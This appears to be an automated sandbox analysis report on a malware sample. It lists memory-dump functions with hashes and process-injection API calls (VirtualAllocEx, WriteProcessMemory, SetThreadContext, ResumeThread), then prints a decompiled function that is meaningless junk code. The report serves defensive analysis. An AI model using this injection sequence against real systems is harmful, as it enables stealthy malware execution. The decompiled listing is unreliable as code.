CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07727F1E

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 11ff4a5618297bd989f1fc665959032c518b1ecb78fc0327c834f100672e79f6
Instruction ID: f03bb2d336d595fac48e075e862975ebd0f170461b708ee1896c43582a6e8ce2
Opcode Fuzzy Hash: 11ff4a5618297bd989f1fc665959032c518b1ecb78fc0327c834f100672e79f6
Instruction Fuzzy Hash: 9491AFB1D00229DFDB14CF68C9817EDBBB2FF48304F1485A9E919A7240DB749986DF92

Uniqueness

Uniqueness Score: -1.00%

Function 00C7DAD4, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00C7FF4A

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 495c45121ac8917e0f0465aadd4acb6f02bf49a791e70ae5933e887728a50c49
Instruction ID: 2ca9cbe196a909bb5a960ab3b66681aff5911d5a0fedec17c5bcc33d39fbf0f9
Opcode Fuzzy Hash: 495c45121ac8917e0f0465aadd4acb6f02bf49a791e70ae5933e887728a50c49
Instruction Fuzzy Hash: 6251A0B1D003099FDF14CF9AC984ADEBBF5BF49314F24852AE819AB250DB749946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00C7FE2C, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00C7FF4A

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 003cb2a0bf1b24c9453ec7c6fb376a6e4b52d505eb194e5f7b46b8f16c2892dc
Instruction ID: 85bde976ff42f6f41a5cbfd61ce13822aa43a33a364da9811c6837b9372828ac
Opcode Fuzzy Hash: 003cb2a0bf1b24c9453ec7c6fb376a6e4b52d505eb194e5f7b46b8f16c2892dc
Instruction Fuzzy Hash: 6B51CFB1D10309DFDB14CF9AC984ADDBBF1BF48314F24852AE819AB250DB749946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00C753C4, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00C75481

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: cf8225162c3e9d9537c8460545aae96b5b2a244267b1fca0084bbce9d2ec186b
Instruction ID: 958f6e2a903b425bd50642af899186d11262d406866333a1d0a71256ac9927fe
Opcode Fuzzy Hash: cf8225162c3e9d9537c8460545aae96b5b2a244267b1fca0084bbce9d2ec186b
Instruction Fuzzy Hash: 1941E471C0071CCBDB24CFAAC9847CDBBB5BF48308F208569D409AB251DBB56949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00C73E74, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00C75481

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2bc34c32cf927f5384654011d3270f23d52195f6dcad79226e9463a597acc659
Instruction ID: a3e07e89f97047ae04b0677b7b30df372f0abd8a8580f19034cd1a3998cb7a50
Opcode Fuzzy Hash: 2bc34c32cf927f5384654011d3270f23d52195f6dcad79226e9463a597acc659
Instruction Fuzzy Hash: 5141E271C0071CCBDB24DFAAC884BDDBBB5BF48308F208069D409AB251DBB56949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07727A60, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07727AF0

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5c846c7eb4b1abe4b8186bbb867b670e59e331688b713340c0d56a92fd46753d
Instruction ID: f72b5050a4fc6acc3302289314c38f3a23871f89208bb1ec7b0c40cb4321b7b0
Opcode Fuzzy Hash: 5c846c7eb4b1abe4b8186bbb867b670e59e331688b713340c0d56a92fd46753d
Instruction Fuzzy Hash: E42157B19003199FCB10CFA9C984BDEBBF5FF48354F10882AE918A7340DB789944DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C7BDFA, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00C7BDC6,?,?,?,?,?), ref: 00C7BE87

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7d479fa52efe7ab9a33c9328ad9972a5b8688ba6b7bcfee0762583c171f271e2
Instruction ID: d6f2290096a7497b6346969c65fe799d80d7c5eb79b9f1002bf9c9a8b877faf4
Opcode Fuzzy Hash: 7d479fa52efe7ab9a33c9328ad9972a5b8688ba6b7bcfee0762583c171f271e2
Instruction Fuzzy Hash: 522105B5D003489FCB10CFAAD984ADEBFF4EB49324F14845AE918A7350C774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C79EA4, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00C7BDC6,?,?,?,?,?), ref: 00C7BE87

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e36994e0f54960d133cfbe71ffb567ffe743cdfbb7d0745fb1314d3a384e7c2b
Instruction ID: 01374104db0b95e379dbf660d6d9c1ed15f13aa972796062547c8edff9e554b2
Opcode Fuzzy Hash: e36994e0f54960d133cfbe71ffb567ffe743cdfbb7d0745fb1314d3a384e7c2b
Instruction Fuzzy Hash: F821E3B5900208AFDB10CF9AD984BDEBBF8EB48324F14845AE918A7310D774A954DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07727B50, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07727BD0

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: c000ed017bf546bb240f8f19241b1c63170a180da5d9b3089bc785641fd280ad
Instruction ID: 51d65704f0d4f4a7f438468b39420af44a646050ee2d8d57b653efed585abeb4
Opcode Fuzzy Hash: c000ed017bf546bb240f8f19241b1c63170a180da5d9b3089bc785641fd280ad
Instruction Fuzzy Hash: D12128B1D003599FCB10CFAAC984BDEBBF5FF48354F508829E518A7240DB789945DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 077278C8, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 07727946

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: f91434cdeb22d17eed7620d22f9348b63303ce0b3963f1ff3ef2f0afb1b80486
Instruction ID: 2ced8e45d6780c5b477f86a2f145b397d1316eaa44ab7b1d3c77defc141366c3
Opcode Fuzzy Hash: f91434cdeb22d17eed7620d22f9348b63303ce0b3963f1ff3ef2f0afb1b80486
Instruction Fuzzy Hash: 292165B19003198FCB14DFAAC5847EEBBF4AF48264F50882AD558A7340CB78A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C78898, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00C797A9,00000800,00000000,00000000), ref: 00C799BA

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 89349436f623addd5b6e22ad5a89f06faf94a84df3ee2dbcae2384e0e0d5a5bc
Instruction ID: 8b820ea236ffd98ec18a5108aaa7be6e1b2e8a21381693212f2c8c6a8967bf9d
Opcode Fuzzy Hash: 89349436f623addd5b6e22ad5a89f06faf94a84df3ee2dbcae2384e0e0d5a5bc
Instruction Fuzzy Hash: 6411F2B69002099BDB10CF9AC444ADEFBF4EB88324F10842ED919A7200C775A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C7994A, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00C797A9,00000800,00000000,00000000), ref: 00C799BA

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8b3ac2e862e3774c6008abea14bb8e736c6238231ce9740dfa34fcde1ba0d2a5
Instruction ID: aa7b3f3097d0a188ce183fa2ff497091ce31525532b2d27150483765325eb905
Opcode Fuzzy Hash: 8b3ac2e862e3774c6008abea14bb8e736c6238231ce9740dfa34fcde1ba0d2a5
Instruction Fuzzy Hash: 291112B69002099FDB10CF9AD484ADEFBF4EB88324F14842ED529A7200C775AA45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 077279A0, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07727A0E

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 462c1166be177ca09f9c95d792c8aa81bb132834fdfd3b45fc308f87702baf44
Instruction ID: 69b806d11ce157ce0d8000fae3139be78e89c7fd9f75f15714dd477b3744e59c
Opcode Fuzzy Hash: 462c1166be177ca09f9c95d792c8aa81bb132834fdfd3b45fc308f87702baf44
Instruction Fuzzy Hash: C81134719002099FCB14DFAAC944BDFBBF9EF88324F148819E529A7250CB75A944DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C796C2, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00C7972E

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3a643a1edb0cc085ad76d813337a9d73e8c1bd0f66aa91e9645a761c32826e64
Instruction ID: 9bf271d2a59bb9e1421ea293e6f00e591fb0da595e4a45c637ea30f01e27c4a4
Opcode Fuzzy Hash: 3a643a1edb0cc085ad76d813337a9d73e8c1bd0f66aa91e9645a761c32826e64
Instruction Fuzzy Hash: F5110FB5C006498FCB14CF9AC448BDEFBF4EB88324F10846AD829A7200C775A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0772B550, Relevance: 1.5, APIs: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0772B5B5

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 9a2c6cf1b86d91f98bb58b240cf964cb7515ab4ad0be3de0420f5c3afa8e58e1
Instruction ID: c1f2dafbcd219f6ddf144617c5fe748533fc923a04aed0e98d4abf56dfd60a02
Opcode Fuzzy Hash: 9a2c6cf1b86d91f98bb58b240cf964cb7515ab4ad0be3de0420f5c3afa8e58e1
Instruction Fuzzy Hash: D01122B59003589FCB10CF9AC589BDEBBF8EB48320F10885AE414A7610D374A985CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07727818, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0772787A

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7f8baef0263ec199d11a86399a0e7dfbe5268d95e5c888e8837a35df47252a54
Instruction ID: 147e89a75c49a69654f903dfa59193cc1286f5aa7a84e538ad9049113ea48939
Opcode Fuzzy Hash: 7f8baef0263ec199d11a86399a0e7dfbe5268d95e5c888e8837a35df47252a54
Instruction Fuzzy Hash: 921125B1D003198BCB14DFAAC5447DFFBF9AB88268F148829C519A7340CB75A945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C796C8, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00C7972E

Memory Dump Source

Source File: 00000000.00000002.706796101.0000000000C70000.00000040.00000001.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9da332b4ccb9a56072032e5f01d41ab54db9b5917ee47c82335a2e45c54974f6
Instruction ID: c0ea510bcdf152ff431f7c9d694cfd308c2c79e4b16d1b59b9d8f8289ba7d99e
Opcode Fuzzy Hash: 9da332b4ccb9a56072032e5f01d41ab54db9b5917ee47c82335a2e45c54974f6
Instruction Fuzzy Hash: 461110B5C006498FCB14CF9AC444BDEFBF4EF88324F10841AD429A7200C774A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0772B558, Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0772B5B5

Memory Dump Source

Source File: 00000000.00000002.718129842.0000000007720000.00000040.00000001.sdmp, Offset: 07720000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 77593529296a674323802b52aff941271f2a7591e5a2372d40bab78b1832cdd2
Instruction ID: 7202b051018c7da5f6641dbd5ae679987498ddcff5c1f02b398b0c8746b304f5
Opcode Fuzzy Hash: 77593529296a674323802b52aff941271f2a7591e5a2372d40bab78b1832cdd2
Instruction Fuzzy Hash: 6C1112B59003499FCB10CF9AC988BDEBBF8FB48324F10881AE414A7300D774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0D3D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706686763.0000000000C0D000.00000040.00000001.sdmp, Offset: 00C0D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc8630be77dfbf1932476352a7ae19d674d1514e3885efb3c4b4a2372dc5feac
Instruction ID: 7b9ed85a08a15174254047131daf7734e895907f8c15e4558bc2b6c915f2731d
Opcode Fuzzy Hash: cc8630be77dfbf1932476352a7ae19d674d1514e3885efb3c4b4a2372dc5feac
Instruction Fuzzy Hash: 13213AB1504204DFDB01DFD4D9C0B26BF69FB98324F24C5A9E9064B286C336E856DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D1D4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706706674.0000000000C1D000.00000040.00000001.sdmp, Offset: 00C1D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bdf6182099ee3994aea11a563e3a37bbe3baffa38ff22ac9d4d0f54c9ac33f6
Instruction ID: 18b6c3d454307103a28ae3cf441ed8af03320429dca56950e3c5cf6f29a58ba3
Opcode Fuzzy Hash: 0bdf6182099ee3994aea11a563e3a37bbe3baffa38ff22ac9d4d0f54c9ac33f6
Instruction Fuzzy Hash: F9210771504240EFDB01DF54D9C0B66BBA5FB85314F24CAA9E81A4B342C736DC96EA61

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706706674.0000000000C1D000.00000040.00000001.sdmp, Offset: 00C1D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d213ad74a11253af18b24e5a6880a81cb9f462c52fc3a2799645d56d51fd21e3
Instruction ID: e51af6d193f5ccc6c3d7b8d43fa4d3e91871c2a63b78ecb403341b592e5d069f
Opcode Fuzzy Hash: d213ad74a11253af18b24e5a6880a81cb9f462c52fc3a2799645d56d51fd21e3
Instruction Fuzzy Hash: C2210475504340DFCB14DF24D9C4B66BB65FB89314F24C9A9E80A4B346C73AD887EB62

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D005, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706706674.0000000000C1D000.00000040.00000001.sdmp, Offset: 00C1D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50eecf31fc64156eeab6057f18feba176c0e432a9d5ea42299919e5900d55483
Instruction ID: b19cdfc3bcc976946373a7f3cb92603e83942f65f75dbd1fd77aabdb8c203bda
Opcode Fuzzy Hash: 50eecf31fc64156eeab6057f18feba176c0e432a9d5ea42299919e5900d55483
Instruction Fuzzy Hash: D321B0354093C08FCB02CF24D990701BF71EB46314F28C1EAC8498B297C33A984ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00C0D3D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706686763.0000000000C0D000.00000040.00000001.sdmp, Offset: 00C0D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 710a73d70d241d645a67e4de7026aef22402dcd351f44c174f048fd3843c53cf
Instruction ID: 040fe52db332d85bb168c1e45356f0cd421f7423a09250e4b3218ab92fda9ffd
Opcode Fuzzy Hash: 710a73d70d241d645a67e4de7026aef22402dcd351f44c174f048fd3843c53cf
Instruction Fuzzy Hash: EA11D376404280DFCB11CF94D5C4B16BF71FB94324F24C6A9D8090B656C33AE95ACFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C1D1CF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706706674.0000000000C1D000.00000040.00000001.sdmp, Offset: 00C1D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d909d85ac6c96b832465492cc401aaf11554ea495c8654276098948036a857f8
Instruction ID: 19b52cddf260f3a4ecc41bf9f22c4c561612c21457f8e313bed9278c92ab1542
Opcode Fuzzy Hash: d909d85ac6c96b832465492cc401aaf11554ea495c8654276098948036a857f8
Instruction Fuzzy Hash: 2311BB75504280DFCB11CF10C5C4B55BBA1FB85324F28C6AAD85A4B756C33AD89ADB61

Uniqueness

Uniqueness Score: -1.00%

Function 00C0D745, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706686763.0000000000C0D000.00000040.00000001.sdmp, Offset: 00C0D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553bead84d1b725f13f7e45a33989579c7de8781f6063fc34a959f4ab5a220a7
Instruction ID: 73b2fde8a301c972a5236ee10f0bbae789fab5a7bb5fce444745bc5be110f01d
Opcode Fuzzy Hash: 553bead84d1b725f13f7e45a33989579c7de8781f6063fc34a959f4ab5a220a7
Instruction Fuzzy Hash: 9E01F7714083409AE7105E6ECC84B67FB9CEF41338F18C55AED164B28ADB799844DAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0D744, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.706686763.0000000000C0D000.00000040.00000001.sdmp, Offset: 00C0D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e499ba2257170b9289e5f4f82efd203b9bc41b3b9a3d9835c4ccd44f9bffe785
Instruction ID: 7cf1433f036c94da978f89a98adb6f66147d1f01c5626a5d8fc9a6479fb1f176
Opcode Fuzzy Hash: e499ba2257170b9289e5f4f82efd203b9bc41b3b9a3d9835c4ccd44f9bffe785
Instruction Fuzzy Hash: 45F09671404344AEE7108F5ACCC4B63FF98EB91734F18C55AED195B286C7799C44CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004C53D5, Relevance: .9, Instructions: 890
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E004C53D5(signed int __eax, signed int __ebx, void* __ecx, signed int __edx, void* __edi, signed int __esi) {
				signed char _t393;
				signed char _t395;
				signed char _t396;
				signed char _t397;
				signed char _t398;
				signed char _t400;
				signed char _t401;
				signed char _t402;
				signed char _t403;
				signed char _t404;
				signed int _t406;
				signed int _t407;
				signed int _t408;
				signed int _t410;
				signed char _t412;
				signed char _t413;
				signed int _t415;
				signed char _t417;
				intOrPtr* _t421;
				signed char _t422;
				intOrPtr* _t423;
				signed int _t424;
				intOrPtr* _t426;
				intOrPtr* _t427;
				intOrPtr* _t428;
				intOrPtr* _t429;
				intOrPtr* _t430;
				intOrPtr* _t431;
				intOrPtr* _t433;
				intOrPtr* _t434;
				intOrPtr* _t435;
				intOrPtr* _t436;
				signed int _t439;
				signed int _t440;
				signed char _t442;
				signed char _t443;
				signed char _t445;
				signed char _t446;
				signed char _t447;
				signed char _t448;
				signed int _t450;
				signed int _t451;
				signed int _t453;
				intOrPtr* _t454;
				signed int _t455;
				signed int _t456;
				signed char _t457;
				signed int _t458;
				signed char _t459;
				signed char _t460;
				signed char _t461;
				signed char _t464;
				signed char _t465;
				signed char _t466;
				signed char _t467;
				intOrPtr* _t468;
				signed char _t469;
				signed char _t470;
				signed char _t471;
				signed char _t472;
				signed int _t473;
				signed char _t474;
				signed char _t476;
				signed char _t477;
				signed char _t478;
				signed char _t479;
				signed char _t480;
				signed char _t481;
				intOrPtr* _t482;
				signed char _t483;
				signed char _t484;
				intOrPtr* _t486;
				signed int _t487;
				signed int* _t488;
				intOrPtr* _t489;
				intOrPtr* _t490;
				signed int* _t491;
				intOrPtr* _t492;
				signed int _t493;
				signed int _t496;
				signed char _t499;
				signed char _t502;
				signed char _t503;
				signed int _t505;
				signed char _t506;
				signed int _t507;
				intOrPtr* _t508;
				intOrPtr* _t509;
				intOrPtr* _t510;
				signed int** _t511;
				intOrPtr* _t512;
				intOrPtr* _t513;
				signed char _t514;
				intOrPtr* _t515;
				intOrPtr* _t516;
				signed int _t517;
				void* _t518;
				void* _t521;
				intOrPtr* _t522;
				signed int _t523;
				signed char _t525;
				void* _t526;
				signed char _t527;
				signed char _t528;
				signed int* _t531;
				signed int _t535;
				signed char _t537;
				signed int _t538;
				intOrPtr* _t541;
				signed int _t544;
				char* _t545;
				void* _t549;
				signed int* _t550;
				signed char _t552;
				intOrPtr* _t553;
				signed char* _t554;
				signed char _t555;
				signed char _t558;
				signed int _t564;
				intOrPtr* _t566;
				signed int _t568;
				void* _t569;
				signed short _t573;
				signed short _t574;
				signed int _t575;
				signed char _t576;
				signed char _t578;
				signed char _t579;
				signed char _t581;
				signed char _t584;
				signed char _t585;
				char* _t586;
				signed char _t593;
				signed char _t595;
				signed char _t598;
				signed char _t600;
				signed int _t602;
				signed int _t607;
				void* _t608;
				signed int* _t609;
				intOrPtr* _t610;
				void* _t611;
				signed char _t613;
				signed int _t615;
				signed int _t616;
				signed char _t617;
				signed int _t629;
				signed int _t633;
				signed int _t634;
				signed int _t636;
				signed int _t637;
				signed int _t639;
				signed char _t640;
				signed char _t641;
				signed char _t642;
				signed char _t644;
				signed char _t647;
				void* _t648;
				signed int _t650;
				intOrPtr* _t653;
				signed int _t654;
				signed int _t655;
				signed int _t656;
				signed int* _t657;
				signed int _t658;
				signed int _t659;
				signed int _t660;
				void* _t661;

				_t517 = __ebx;
				_pop(es);
				asm("ror dword [edx], 1");
				_push(__esi);
				 *(__edi + 0x16) =  *(__edi + 0x16) | 0x000000d1;
				_push(ds);
				_t544 =  *__eax * 0x80560ad1;
				asm("ror dword [edx], 1");
				_push(__esi);
				asm("ror dword [edx], 1");
				_push(__esi);
				 *((char*)(__edi + 0x12)) =  *((char*)(__edi + 0x12)) + 0xd1;
				_t593 = __edx |  *(__esi - 0x80) |  *(__esi - 0x80) |  *(__esi - 0x80);
				 *_t544 =  *_t544 + _t544;
				asm("ror dword [edx], 1");
				_push(__esi);
				 *((char*)(__esi + _t593 + 0x6060ad1)) =  *((char*)(__esi + _t593 + 0x6060ad1)) + 0x11;
				asm("sbb [ebx+0x6380560a], cl");
				asm("adc dh, dl");
				asm("fisttp word [eax]");
				asm("salc");
				_t595 = _t593 |  *(__esi - 0x80) |  *(__esi - 0x80);
				_pop(_t629);
				_t636 = __esi | _t595;
				_push(_t636);
				asm("adc dh, dl");
				_push(ss);
				asm("salc");
				_t598 = _t595 |  *(_t636 - 0x80) |  *(_t636 - 0x80) |  *(_t636 - 0x80);
				asm("aad 0x7");
				asm("salc");
				_t393 = (__eax |  *_t544) + 7 |  *_t636;
				_push(es);
				asm("adc [eax], ebx");
				_t545 =  *_t598;
				_push(_t636);
				asm("adc dh, 0x1");
				asm("fisttp dword [edx]");
				_push(_t636);
				_t17 = _t636 + 0x560adb04;
				 *_t17 =  *((char*)(_t636 + 0x560adb04)) + 0x80;
				if( *_t17 >= 0) {
					asm("fisttp dword [edx]");
					_push(_t636);
					 *_t545 =  *_t545 - 6;
					asm("fisttp dword [edx]");
					_push(_t636);
					asm("sbb byte [0x560adb06], 0x80");
					asm("adc eax, 0x560adb01");
				}
				asm("fisttp dword [edx]");
				_push(_t636);
				asm("adc byte [ebp+0x3], 0xdb");
				_push(es);
				asm("adc [eax], ebx");
				_push(_t636);
				asm("adc byte [ebx], 0x7");
				asm("loopne 0xc");
				_push(_t636);
				asm("loopne 0xc");
				_push(_t636);
				asm("loopne 0xc");
				_push(_t636);
				 *_t598 =  *_t598 & 0x00000007;
				asm("loopne 0xc");
				_push(_t636);
				asm("loopne 0xc");
				_push(_t636);
				_t549 = ( *_t598 ^ 0x00000006) - 0xc;
				asm("loopne 0xc");
				 *((char*)((_t393 |  *_t636) + 0xc)) =  *((char*)((_t393 |  *_t636) + 0xc)) - 0xe0;
				_t395 = _t636;
				_t396 = _t395 | 0x000000e0;
				_t600 = _t598 |  *(_t636 - 0x80) |  *(_t636 - 0x80);
				if(_t600 <= 0) {
					L5:
					 *_t396 =  *_t396 + _t396;
				} else {
					asm("loopne 0xc");
					_push(_t636);
					 *((char*)(_t549 + 0x16)) =  *((char*)(_t549 + 0x16)) - 0xe0;
					 *_t636 =  *_t636 + 0xe0;
					_t600 = _t600 |  *(_t636 - 0x80) |  *(_t636 - 0x80);
					if(_t600 != 0) {
						asm("loopne 0xc");
						_push(_t396);
						 *_t396 =  *_t396 & _t396;
						goto L5;
					}
				}
				 *_t396 =  *_t396 + _t396;
				_t518 =  *_t396;
				 *_t396 = _t517;
				_t550 = _t549 - 1;
				_t397 = _t396 -  *_t636;
				 *_t550 =  *_t550 + _t397;
				 *_t397 =  *_t397 + _t518;
				 *_t397 =  *_t397 + _t397;
				 *((intOrPtr*)(_t636 - 0x1ace33f8)) =  *((intOrPtr*)(_t636 - 0x1ace33f8)) + _t397;
				_t398 = _t397 |  *_t550;
				 *_t398 =  *_t398 + _t518;
				 *_t398 =  *_t398 + _t398;
				 *((intOrPtr*)(_t636 - 0x70ce20f8)) =  *((intOrPtr*)(_t636 - 0x70ce20f8)) + _t398;
				 *_t550 =  *_t550 + _t398;
				 *_t398 =  *_t398 + _t398;
				 *_t398 = _t550;
				_pop(_t654);
				_t552 =  *_t398 ^ _t600;
				_t400 = (_t398 |  *_t600) + _t552;
				 *_t400 =  *_t400 & _t400;
				 *_t400 =  *_t400 + _t400;
				 *((intOrPtr*)(_t636 - 0x11cd96f8)) =  *((intOrPtr*)(_t636 - 0x11cd96f8)) + _t400;
				_t401 = _t400 |  *_t600;
				 *_t552 =  *_t552 + _t552;
				 *_t401 =  *_t401 + _t401;
				 *_t401 =  *_t401 + _t401;
				_t553 =  *_t401;
				 *_t401 = _t552;
				 *_t553 =  *_t553 + _t401;
				 *_t401 =  *_t401 + _t401;
				 *((intOrPtr*)(_t636 - 0x70d63af8)) =  *((intOrPtr*)(_t636 - 0x70d63af8)) + _t401;
				 *0x30ae529 =  *0x30ae529 + _t401;
				 *((intOrPtr*)(_t401 + 0x21)) =  *((intOrPtr*)(_t401 + 0x21)) + _t401;
				 *_t401 =  *_t401 + _t401;
				 *_t401 =  *_t401 + _t401;
				_t554 =  *_t401;
				 *_t401 = _t553;
				asm("das");
				asm("sbb ebx, [ebp+0x1]");
				_t402 = _t401;
				 *_t554 =  *_t554 & 0x00000000;
				 *_t402 =  *_t402 + _t402;
